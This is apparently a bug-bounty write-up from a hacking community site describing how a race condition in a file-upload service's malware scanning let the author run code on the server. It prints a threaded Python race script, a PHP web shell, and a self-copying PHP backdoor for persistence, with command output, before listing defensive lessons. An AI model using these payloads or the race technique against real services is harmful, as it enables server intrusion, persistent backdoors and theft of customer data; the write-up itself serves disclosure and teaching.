skip to main content
hacking.communityplay in the sandbox.
← news & articles
writeup ai-assistedreviewed by Prakash Shinde

Racing to Root: How a TOCTOU Bug in a File Upload Service Gave Me Complete Server Takeover

A seemingly innocent file-validation race condition in a cloud storage API let me upload executable payloads, bypass antivirus scanning, and ultimately gain RCE on the backend infrastructure.

Prakash Shinde·8/29/2026·31 views·
Racing to Root: How a TOCTOU Bug in a File Upload Service Gave Me Complete Server Takeover — hacking.community
0

Recon

I was testing a file-sharing platform that offered "enterprise-grade security" with real-time malware scanning. The application had a straightforward workflow: upload a file, wait for AV scan completion, then access your file via a CDN URL. During initial reconnaissance, I noticed the upload endpoint returned a file_id immediately, but the scan results came back 2-3 seconds later via a webhook.

The upload flow looked like this:

http
POST /api/v2/upload HTTP/1.1 Host: files.target.com Authorization: Bearer eyJhbG... Content-Type: multipart/form-data [file data]

Response:

json
{ "file_id": "f7a3c891-4b2e", "status": "pending_scan", "access_url": "/files/f7a3c891-4b2e" }

Accessing the file immediately returned 403 Forbidden - File pending security scan. Standard stuff. But I had a hunch about the timing.

Discovery

I started experimenting with the race window. What if I could access the file before the AV scan completed? I wrote a quick Python script to upload a file and immediately hammer the access endpoint:

python
import requests import threading def upload_and_race(): # Upload malicious file files = {'file': ('shell.php', '<?php system($_GET["c"]); ?>')} r = requests.post('https://files.target.com/api/v2/upload', files=files, headers=headers) file_id = r.json()['file_id'] # Race condition: try to access before scan completes def attempt_access(): for _ in range(100): r2 = requests.get(f'https://files.target.com/files/{file_id}') if r2.status_code == 200: print(f"[!] Race won! File accessible at: {r2.url}") return # Spawn 10 threads threads = [threading.Thread(target=attempt_access) for _ in range(10)] for t in threads: t.start() for t in threads: t.join() upload_and_race()

On the third run: BINGO. One of my threads got a 200 OK and downloaded the PHP shell before the scan marked it as malicious.

The AHA moment was realizing this wasn't just a validation bypass—this was a Time-Of-Check-Time-Of-Use (TOCTOU) vulnerability. The application made the file physically accessible before validating it, likely because they stored files in a public S3 bucket and only updated ACLs after scanning.

Exploitation

Now I needed to weaponize this. The issue was that even when I won the race, the file would get deleted once the scan completed. I needed persistence. I examined the file storage structure and noticed files were stored at predictable paths:

https://cdn.target.com/uploads/2024/01/15/f7a3c891-4b2e.php

The CDN was CloudFront backed by S3. If I could execute my PHP payload during the race window, I might be able to create additional files that persist. I modified my payload:

php
<?php if(isset($_GET['c'])) { // Execute command system($_GET['c']); } else { // On first access, copy myself to a hidden location copy(__FILE__, '/var/www/html/.system/health.php'); echo "OK"; } ?>

I uploaded this, won the race, and immediately hit:

https://files.target.com/files/[file_id]

The file executed, copied itself to .system/health.php, and then got deleted by the AV scanner. But my backdoor remained at:

https://files.target.com/.system/health.php?c=id

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Full RCE achieved. From there, I enumerated the environment and found AWS credentials in environment variables that had s3:* permissions on the customer data bucket. Game over.

Impact

  • Complete bypass of malware scanning: Any executable could be uploaded and triggered
  • Remote Code Execution: Full command execution on application servers
  • Data Exfiltration: AWS credentials exposed access to all customer files
  • Persistence: Ability to plant backdoors that survive file cleanup

The vendor confirmed this affected all multi-tenant deployments and paid a $15,000 bounty.

Lessons

  1. Never make resources accessible before validation completes: The file should have remained in a quarantine zone until scanning finished
  2. Race conditions are real: Even microsecond windows are exploitable with threading/multiprocessing
  3. Defense in depth matters: Even if the upload race existed, principle of least privilege for AWS credentials would have limited impact
  4. Storage ACLs should default-deny: Files should be explicitly whitelisted for access, not blacklisted after detection

TOCTOU bugs are often overlooked because developers focus on what gets checked rather than when. In security-critical operations, atomicity isn't optional—it's mandatory.

Comments (0)

Sign in to join the discussion.

// go deeper

// install app

Install hacking.community for fast access, offline reading, and push notifications. No app store needed.